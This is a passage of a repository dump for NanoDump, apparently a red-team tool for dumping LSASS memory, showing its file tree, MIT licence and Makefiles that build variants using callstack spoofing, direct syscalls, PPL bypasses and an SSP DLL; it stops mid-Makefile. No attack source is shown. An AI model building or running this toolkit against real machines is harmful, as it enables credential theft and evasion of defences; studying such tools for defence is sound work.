├── .gitignore ├── LICENSE ├── Makefile.clang ├── Makefile.mingw ├── Makefile.msvc ├── NanoDump.cna ├── README.md ├── dist ├── bin2c ├── nanodump.x64.exe ├── nanodump.x64.o ├── nanodump.x86.exe ├── nanodump.x86.o ├── nanodump_ppl_dump.x64.dll ├── nanodump_ppl_dump.x64.exe ├── nanodump_ppl_dump.x64.o ├── nanodump_ppl_dump.x86.dll ├── nanodump_ppl_dump.x86.exe ├── nanodump_ppl_dump.x86.o ├── nanodump_ppl_medic.x64.dll ├── nanodump_ppl_medic.x64.exe ├── nanodump_ppl_medic.x64.o ├── nanodump_ssp.x64.dll ├── nanodump_ssp.x64.exe ├── nanodump_ssp.x64.o ├── nanodump_ssp.x86.dll ├── nanodump_ssp.x86.exe └── nanodump_ssp.x86.o ├── include ├── beacon.h ├── delete_file.h ├── dinvoke.h ├── entry.h ├── handle.h ├── hw_breakpoint.h ├── impersonate.h ├── malseclogon.h ├── modules.h ├── nanodump.h ├── ntdefs.h ├── output.h ├── pipe.h ├── ppl │ ├── cleanup.h │ ├── ppl.h │ ├── ppl_dump.h │ ├── ppl_medic.h │ ├── ppl_medic_client.h │ ├── ppl_medic_dll.h │ └── ppl_utils.h ├── shtinkering.h ├── spoof_callstack.h ├── ssp.h ├── ssp │ ├── ssp.h │ └── ssp_utils.h ├── syscalls.h ├── token_priv.h ├── utils.h └── werfault.h ├── resources └── demo.png ├── scripts ├── randomize_sw2_seed.py └── restore_signature └── source ├── bin2c.c ├── delete_file.c ├── dinvoke.c ├── entry.c ├── handle.c ├── hw_breakpoint-asm.asm ├── hw_breakpoint.c ├── impersonate.c ├── malseclogon.c ├── modules.c ├── nanodump.c ├── output.c ├── pipe.c ├── ppl ├── cleanup.c ├── ppl.c ├── ppl_dump.c ├── ppl_medic.c ├── ppl_medic_client.c ├── ppl_medic_dll.c └── ppl_utils.c ├── restore_signature.c ├── shtinkering.c ├── spoof_callstack-asm.asm ├── spoof_callstack.c ├── ssp ├── ssp.c └── ssp_utils.c ├── syscalls-asm.asm ├── syscalls.c ├── token_priv.c ├── utils.c └── werfault.c /.gitignore: -------------------------------------------------------------------------------- 1 | *.dmp 2 | *.obj 3 | include/nanodump_ssp_dll.x64.h 4 | include/nanodump_ssp_dll.x86.h 5 | include/nanodump_ppl_dump_dll.x64.h 6 | include/nanodump_ppl_dump_dll.x86.h 7 | include/nanodump_ppl_medic_dll.x64.h 8 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Fortra 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile.clang: -------------------------------------------------------------------------------- 1 | CC = clang 2 | STRIP = strip 3 | BOFNAME = nanodump 4 | OPTIONS = -Wall -I include -Xclang 5 | RELEASE_OPTIONS = -g0 6 | DEBUG_OPTIONS = -DDEBUG 7 | PPL_MEDIC_OPTIONS = -Wno-trigraphs -DPASS_PARAMS_VIA_NAMED_PIPES=1 8 | SSP_OPTIONS = -DPASS_PARAMS_VIA_NAMED_PIPES=1 9 | 10 | nanodump: clean 11 | $(info ###### RELEASE ######) 12 | 13 | $(CC) -target x86_64-w64-windows-gnu source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME).x64.exe $(OPTIONS) -DNANO -DEXE $(RELEASE_OPTIONS) 14 | $(STRIP) dist/$(BOFNAME).x64.exe 15 | 16 | $(CC) -target i686-pc-windows-gnu -m32 source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME).x86.exe $(OPTIONS) -DNANO -DEXE $(RELEASE_OPTIONS) 17 | $(STRIP) dist/$(BOFNAME).x86.exe 18 | 19 | # $(CC) -target x86_64-pc-windows-gnu -c source/entry.c -o dist/$(BOFNAME).x64.o $(OPTIONS) -DNANO -DBOF $(RELEASE_OPTIONS) 20 | # $(STRIP) dist/$(BOFNAME).x64.o 21 | 22 | # $(CC) -target i686-pc-windows-gnu -m32 -c source/entry.c -o dist/$(BOFNAME).x86.o $(OPTIONS) -DNANO -DBOF $(RELEASE_OPTIONS) 23 | # $(STRIP) dist/$(BOFNAME).x86.o 24 | 25 | $(CC) source/bin2c.c -o dist/bin2c -static -s -Os 26 | 27 | $(CC) -target x86_64-w64-windows-gnu source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/dinvoke.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ssp.x64.dll $(OPTIONS) $(SSP_OPTIONS) -DNANO -DSSP -DDDL -shared $(RELEASE_OPTIONS) 28 | $(STRIP) dist/$(BOFNAME)_ssp.x64.dll 29 | ./dist/bin2c dist/$(BOFNAME)_ssp.x64.dll $(BOFNAME)_ssp_dll > include/$(BOFNAME)_ssp_dll.x64.h 30 | 31 | $(CC) -target i686-pc-windows-gnu -m32 source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/dinvoke.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ssp.x86.dll $(OPTIONS) $(SSP_OPTIONS) -DNANO -DSSP -DDDL -shared $(RELEASE_OPTIONS) 32 | $(STRIP) dist/$(BOFNAME)_ssp.x86.dll 33 | ./dist/bin2c dist/$(BOFNAME)_ssp.x86.dll $(BOFNAME)_ssp_dll > include/$(BOFNAME)_ssp_dll.x86.h 34 | 35 | # $(CC) -target x86_64-pc-windows-gnu -c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x64.o $(OPTIONS) $(SSP_OPTIONS) -DBOF -DSSP $(RELEASE_OPTIONS) 36 | # $(STRIP) dist/$(BOFNAME)_ssp.x64.o 37 | 38 | # $(CC) -target x86_64-pc-windows-gnu -c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x86.o $(OPTIONS) $(SSP_OPTIONS) -DBOF -DSSP $(RELEASE_OPTIONS) 39 | # $(STRIP) dist/$(BOFNAME)_ssp.x86.o 40 | 41 | $(CC) -target x86_64-pc-windows-gnu source/utils.c source/syscalls.c source/dinvoke.c source/pipe.c source/ssp/ssp_utils.c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x64.exe $(OPTIONS) $(SSP_OPTIONS) -DEXE -DSSP $(RELEASE_OPTIONS) 42 | $(STRIP) dist/$(BOFNAME)_ssp.x64.exe 43 | 44 | $(CC) -target i686-pc-windows-gnu -m32 source/utils.c source/syscalls.c source/dinvoke.c source/pipe.c source/ssp/ssp_utils.c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x86.exe $(OPTIONS) $(SSP_OPTIONS) -DEXE -DSSP $(RELEASE_OPTIONS) 45 | $(STRIP) dist/$(BOFNAME)_ssp.x86.exe 46 | 47 | $(CC) -target x86_64-pc-windows-gnu source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ppl_dump.x64.dll $(OPTIONS) -DNANO -DPPL_DUMP -DDDL -shared $(RELEASE_OPTIONS) 48 | $(STRIP) dist/$(BOFNAME)_ppl_dump.x64.dll 49 | ./dist/bin2c dist/$(BOFNAME)_ppl_dump.x64.dll $(BOFNAME)_ppl_dump_dll > include/$(BOFNAME)_ppl_dump_dll.x64.h 50 | 51 | $(CC) -target i686-pc-windows-gnu -m32 source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ppl_dump.x86.dll $(OPTIONS) -DNANO -DPPL_DUMP -DDDL -shared $(RELEASE_OPTIONS) 52 | $(STRIP) dist/$(BOFNAME)_ppl_dump.x86.dll 53 | ./dist/bin2c dist/$(BOFNAME)_ppl_dump.x86.dll $(BOFNAME)_ppl_dump_dll > include/$(BOFNAME)_ppl_dump_dll.x86.h 54 | 55 | $(CC) -target x86_64-pc-windows-gnu source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_dump.c -o dist/$(BOFNAME)_ppl_dump.x64.exe $(OPTIONS) -DEXE -DPPL_DUMP $(RELEASE_OPTIONS) 56 | $(STRIP) dist/$(BOFNAME)_ppl_dump.x64.exe 57 | 58 | $(CC) -target i686-pc-windows-gnu -m32 source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_dump.c -o dist/$(BOFNAME)_ppl_dump.x86.exe $(OPTIONS) -DEXE -DPPL_DUMP $(RELEASE_OPTIONS) 59 | $(STRIP) dist/$(BOFNAME)_ppl_dump.x86.exe 60 | 61 | # $(CC) -target x86_64-pc-windows-gnu -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_dump.x64.o $(OPTIONS) -DBOF -DPPL_DUMP $(RELEASE_OPTIONS) 62 | # $(STRIP) dist/$(BOFNAME)_ppl_dump.x64.o 63 | 64 | # $(CC) -target x86_64-pc-windows-gnu -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_dump.x86.o $(OPTIONS) -DBOF -DPPL_DUMP $(RELEASE_OPTIONS) 65 | # $(STRIP) dist/$(BOFNAME)_ppl_dump.x86.o 66 | 67 | $(CC) -target x86_64-pc-windows-gnu source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/ppl/ppl_medic_dll.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ppl_medic.x64.dll $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DNANO -DPPL_MEDIC -DDDL -shared $(RELEASE_OPTIONS) 68 | $(STRIP) dist/$(BOFNAME)_ppl_medic.x64.dll 69 | ./dist/bin2c dist/$(BOFNAME)_ppl_medic.x64.dll $(BOFNAME)_ppl_medic_dll > include/$(BOFNAME)_ppl_medic_dll.x64.h 70 | 71 | $(CC) -target x86_64-pc-windows-gnu source/utils.c source/syscalls.c source/dinvoke.c source/handle.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_medic.c source/pipe.c source/ppl/ppl_medic_client.c -o dist/$(BOFNAME)_ppl_medic.x64.exe $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DEXE -DPPL_MEDIC -DNANO $(RELEASE_OPTIONS) 72 | $(STRIP) dist/$(BOFNAME)_ppl_medic.x64.exe 73 | 74 | # $(CC) -target x86_64-pc-windows-gnu -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_medic.x64.o $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DBOF -DPPL_MEDIC $(RELEASE_OPTIONS) 75 | # $(STRIP) dist/$(BOFNAME)_ppl_medic.x64.o 76 | 77 | $(CC) source/restore_signature.c -o scripts/restore_signature -static -s -Os 78 | $(STRIP) scripts/restore_signature 79 | 80 | debug: clean 81 | $(info ###### DEBUG ######) 82 | 83 | $(CC) -target x86_64-w64-windows-gnu source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME).x64.exe $(OPTIONS) -DNANO -DEXE $(DEBUG_OPTIONS) 84 | 85 | $(CC) -target i686-pc-windows-gnu -m32 source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME).x86.exe $(OPTIONS) -DNANO -DEXE $(DEBUG_OPTIONS) 86 | 87 | # $(CC) -target x86_64-pc-windows-gnu -c source/entry.c -o dist/$(BOFNAME).x64.o $(OPTIONS) -DNANO -DBOF $(DEBUG_OPTIONS) 88 | 89 | # $(CC) -target i686-pc-windows-gnu -m32 -c source/entry.c -o dist/$(BOFNAME).x86.o $(OPTIONS) -DNANO -DBOF $(DEBUG_OPTIONS) 90 | 91 | $(CC) source/bin2c.c -o dist/bin2c -static -s -Os 92 | 93 | $(CC) -target x86_64-w64-windows-gnu source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/dinvoke.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ssp.x64.dll $(OPTIONS) $(SSP_OPTIONS) -DNANO -DSSP -DDDL -shared $(DEBUG_OPTIONS) 94 | ./dist/bin2c dist/$(BOFNAME)_ssp.x64.dll $(BOFNAME)_ssp_dll > include/$(BOFNAME)_ssp_dll.x64.h 95 | 96 | $(CC) -target i686-pc-windows-gnu -m32 source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/dinvoke.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ssp.x86.dll $(OPTIONS) $(SSP_OPTIONS) -DNANO -DSSP -DDDL -shared $(DEBUG_OPTIONS) 97 | ./dist/bin2c dist/$(BOFNAME)_ssp.x86.dll $(BOFNAME)_ssp_dll > include/$(BOFNAME)_ssp_dll.x86.h 98 | 99 | # $(CC) -target x86_64-pc-windows-gnu -c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x64.o $(OPTIONS) $(SSP_OPTIONS) -DBOF -DSSP $(DEBUG_OPTIONS) 100 | 101 | # $(CC) -target x86_64-pc-windows-gnu -c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x86.o $(OPTIONS) $(SSP_OPTIONS) -DBOF -DSSP $(DEBUG_OPTIONS) 102 | 103 | $(CC) -target x86_64-pc-windows-gnu source/utils.c source/syscalls.c source/dinvoke.c source/pipe.c source/ssp/ssp_utils.c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x64.exe $(OPTIONS) $(SSP_OPTIONS) -DEXE -DSSP $(DEBUG_OPTIONS) 104 | 105 | $(CC) -target i686-pc-windows-gnu -m32 source/utils.c source/syscalls.c source/dinvoke.c source/pipe.c source/ssp/ssp_utils.c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x86.exe $(OPTIONS) $(SSP_OPTIONS) -DEXE -DSSP $(DEBUG_OPTIONS) 106 | 107 | $(CC) -target x86_64-pc-windows-gnu source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ppl_dump.x64.dll $(OPTIONS) -DNANO -DPPL_DUMP -DDDL -shared $(DEBUG_OPTIONS) 108 | ./dist/bin2c dist/$(BOFNAME)_ppl_dump.x64.dll $(BOFNAME)_ppl_dump_dll > include/$(BOFNAME)_ppl_dump_dll.x64.h 109 | 110 | $(CC) -target i686-pc-windows-gnu -m32 source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ppl_dump.x86.dll $(OPTIONS) -DNANO -DPPL_DUMP -DDDL -shared $(DEBUG_OPTIONS) 111 | ./dist/bin2c dist/$(BOFNAME)_ppl_dump.x86.dll $(BOFNAME)_ppl_dump_dll > include/$(BOFNAME)_ppl_dump_dll.x86.h 112 | 113 | $(CC) -target x86_64-pc-windows-gnu source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_dump.c -o dist/$(BOFNAME)_ppl_dump.x64.exe $(OPTIONS) -DEXE -DPPL_DUMP $(DEBUG_OPTIONS) 114 | 115 | $(CC) -target i686-pc-windows-gnu -m32 source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_dump.c -o dist/$(BOFNAME)_ppl_dump.x86.exe $(OPTIONS) -DEXE -DPPL_DUMP $(DEBUG_OPTIONS) 116 | 117 | # $(CC) -target x86_64-pc-windows-gnu -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_dump.x64.o $(OPTIONS) -DBOF -DPPL_DUMP $(DEBUG_OPTIONS) 118 | 119 | # $(CC) -target x86_64-pc-windows-gnu -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_dump.x86.o $(OPTIONS) -DBOF -DPPL_DUMP $(DEBUG_OPTIONS) 120 | 121 | $(CC) -target x86_64-pc-windows-gnu source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/ppl/ppl_medic_dll.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ppl_medic.x64.dll $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DNANO -DPPL_MEDIC -DDDL -shared $(DEBUG_OPTIONS) 122 | ./dist/bin2c dist/$(BOFNAME)_ppl_medic.x64.dll $(BOFNAME)_ppl_medic_dll > include/$(BOFNAME)_ppl_medic_dll.x64.h 123 | 124 | $(CC) -target x86_64-pc-windows-gnu source/utils.c source/syscalls.c source/dinvoke.c source/handle.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_medic.c source/pipe.c source/ppl/ppl_medic_client.c -o dist/$(BOFNAME)_ppl_medic.x64.exe $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DEXE -DPPL_MEDIC -DNANO $(DEBUG_OPTIONS) 125 | 126 | # $(CC) -target x86_64-pc-windows-gnu -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_medic.x64.o $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DBOF -DPPL_MEDIC $(DEBUG_OPTIONS) 127 | 128 | $(CC) source/restore_signature.c -o scripts/restore_signature -static -s -Os 129 | 130 | clean: 131 | rm -f dist/* 132 | -------------------------------------------------------------------------------- /Makefile.mingw: -------------------------------------------------------------------------------- 1 | BOFNAME := nanodump 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | CC_x86 := i686-w64-mingw32-gcc 4 | GCC := gcc 5 | STRIP_x64 := x86_64-w64-mingw32-strip 6 | STRIP_x86 := i686-w64-mingw32-strip 7 | OPTIONS := -masm=intel -Wall -I include -Wl,--dynamicbase 8 | PPL_MEDIC_OPTIONS := -Wno-trigraphs -DPASS_PARAMS_VIA_NAMED_PIPES=1 9 | SSP_OPTIONS := -DPASS_PARAMS_VIA_NAMED_PIPES=1 10 | 11 | nanodump: clean 12 | $(info ###### RELEASE ######) 13 | 14 | $(CC_x64) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME).x64.exe $(OPTIONS) -DNANO -DEXE 15 | $(STRIP_x64) --strip-all dist/$(BOFNAME).x64.exe 16 | 17 | $(CC_x86) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME).x86.exe $(OPTIONS) -DNANO -DEXE 18 | $(STRIP_x86) --strip-all dist/$(BOFNAME).x86.exe 19 | 20 | $(CC_x64) -c source/entry.c -o dist/$(BOFNAME).x64.o $(OPTIONS) -DNANO -DBOF 21 | $(STRIP_x64) --strip-unneeded dist/$(BOFNAME).x64.o 22 | 23 | $(CC_x86) -c source/entry.c -o dist/$(BOFNAME).x86.o $(OPTIONS) -DNANO -DBOF 24 | $(STRIP_x86) --strip-unneeded dist/$(BOFNAME).x86.o 25 | 26 | $(GCC) source/bin2c.c -o dist/bin2c -static -s -Os 27 | 28 | $(CC_x64) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/dinvoke.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ssp.x64.dll $(OPTIONS) $(SSP_OPTIONS) -DNANO -DSSP -DDDL -shared 29 | $(STRIP_x64) --strip-all dist/$(BOFNAME)_ssp.x64.dll 30 | ./dist/bin2c dist/$(BOFNAME)_ssp.x64.dll $(BOFNAME)_ssp_dll > include/$(BOFNAME)_ssp_dll.x64.h 31 | 32 | $(CC_x86) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/dinvoke.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ssp.x86.dll $(OPTIONS) $(SSP_OPTIONS) -DNANO -DSSP -DDDL -shared 33 | $(STRIP_x86) --strip-all dist/$(BOFNAME)_ssp.x86.dll 34 | ./dist/bin2c dist/$(BOFNAME)_ssp.x86.dll $(BOFNAME)_ssp_dll > include/$(BOFNAME)_ssp_dll.x86.h 35 | 36 | $(CC_x64) -c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x64.o $(OPTIONS) $(SSP_OPTIONS) -DBOF -DSSP 37 | $(STRIP_x64) --strip-unneeded dist/$(BOFNAME)_ssp.x64.o 38 | 39 | $(CC_x86) -c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x86.o $(OPTIONS) $(SSP_OPTIONS) -DBOF -DSSP 40 | $(STRIP_x86) --strip-unneeded dist/$(BOFNAME)_ssp.x86.o 41 | 42 | $(CC_x64) source/utils.c source/syscalls.c source/dinvoke.c source/pipe.c source/ssp/ssp_utils.c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x64.exe $(OPTIONS) $(SSP_OPTIONS) -DEXE -DSSP 43 | $(STRIP_x64) --strip-all dist/$(BOFNAME)_ssp.x64.exe 44 | 45 | $(CC_x86) source/utils.c source/syscalls.c source/dinvoke.c source/pipe.c source/ssp/ssp_utils.c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x86.exe $(OPTIONS) $(SSP_OPTIONS) -DEXE -DSSP 46 | $(STRIP_x86) --strip-all dist/$(BOFNAME)_ssp.x86.exe 47 | 48 | $(CC_x64) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ppl_dump.x64.dll $(OPTIONS) -DNANO -DPPL_DUMP -DDDL -shared 49 | $(STRIP_x64) --strip-all dist/$(BOFNAME)_ppl_dump.x64.dll 50 | ./dist/bin2c dist/$(BOFNAME)_ppl_dump.x64.dll $(BOFNAME)_ppl_dump_dll > include/$(BOFNAME)_ppl_dump_dll.x64.h 51 | 52 | $(CC_x86) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ppl_dump.x86.dll $(OPTIONS) -DNANO -DPPL_DUMP -DDDL -shared 53 | $(STRIP_x86) --strip-all dist/$(BOFNAME)_ppl_dump.x86.dll 54 | ./dist/bin2c dist/$(BOFNAME)_ppl_dump.x86.dll $(BOFNAME)_ppl_dump_dll > include/$(BOFNAME)_ppl_dump_dll.x86.h 55 | 56 | $(CC_x64) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_dump.c -o dist/$(BOFNAME)_ppl_dump.x64.exe $(OPTIONS) -DEXE -DPPL_DUMP 57 | $(STRIP_x64) --strip-all dist/$(BOFNAME)_ppl_dump.x64.exe 58 | 59 | $(CC_x86) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_dump.c -o dist/$(BOFNAME)_ppl_dump.x86.exe $(OPTIONS) -DEXE -DPPL_DUMP 60 | $(STRIP_x86) --strip-all dist/$(BOFNAME)_ppl_dump.x86.exe 61 | 62 | $(CC_x64) -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_dump.x64.o $(OPTIONS) -DBOF -DPPL_DUMP 63 | $(STRIP_x64) --strip-unneeded dist/$(BOFNAME)_ppl_dump.x64.o 64 | 65 | $(CC_x86) -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_dump.x86.o $(OPTIONS) -DBOF -DPPL_DUMP 66 | $(STRIP_x86) --strip-unneeded dist/$(BOFNAME)_ppl_dump.x86.o 67 | 68 | $(CC_x64) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/ppl/ppl_medic_dll.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ppl_medic.x64.dll $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DNANO -DPPL_MEDIC -DDDL -shared 69 | $(STRIP_x64) --strip-all dist/$(BOFNAME)_ppl_medic.x64.dll 70 | ./dist/bin2c dist/$(BOFNAME)_ppl_medic.x64.dll $(BOFNAME)_ppl_medic_dll > include/$(BOFNAME)_ppl_medic_dll.x64.h 71 | 72 | $(CC_x64) source/utils.c source/syscalls.c source/dinvoke.c source/handle.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_medic.c source/pipe.c source/ppl/ppl_medic_client.c -o dist/$(BOFNAME)_ppl_medic.x64.exe $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DEXE -DPPL_MEDIC -DNANO 73 | $(STRIP_x64) --strip-all dist/$(BOFNAME)_ppl_medic.x64.exe 74 | 75 | $(CC_x64) -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_medic.x64.o $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DBOF -DPPL_MEDIC 76 | $(STRIP_x64) --strip-unneeded dist/$(BOFNAME)_ppl_medic.x64.o 77 | 78 | $(GCC) source/restore_signature.c -o scripts/restore_signature -static -s -Os 79 | $(STRIP_x64) --strip-all scripts/restore_signature 80 | 81 | debug: clean 82 | $(info ###### DEBUG ######) 83 | 84 | $(CC_x64) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME).x64.exe $(OPTIONS) -DNANO -DEXE -DDEBUG 85 | 86 | $(CC_x86) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME).x86.exe $(OPTIONS) -DNANO -DEXE -DDEBUG 87 | 88 | $(CC_x64) -c source/entry.c -o dist/$(BOFNAME).x64.o $(OPTIONS) -DNANO -DBOF -DDEBUG 89 | 90 | $(CC_x86) -c source/entry.c -o dist/$(BOFNAME).x86.o $(OPTIONS) -DNANO -DBOF -DDEBUG 91 | 92 | $(GCC) source/bin2c.c -o dist/bin2c -static -s -Os 93 | 94 | $(CC_x64) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/dinvoke.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ssp.x64.dll $(OPTIONS) $(SSP_OPTIONS) -DNANO -DSSP -DDDL -shared -DDEBUG 95 | ./dist/bin2c dist/$(BOFNAME)_ssp.x64.dll $(BOFNAME)_ssp_dll > include/$(BOFNAME)_ssp_dll.x64.h 96 | 97 | $(CC_x86) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/dinvoke.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ssp.x86.dll $(OPTIONS) 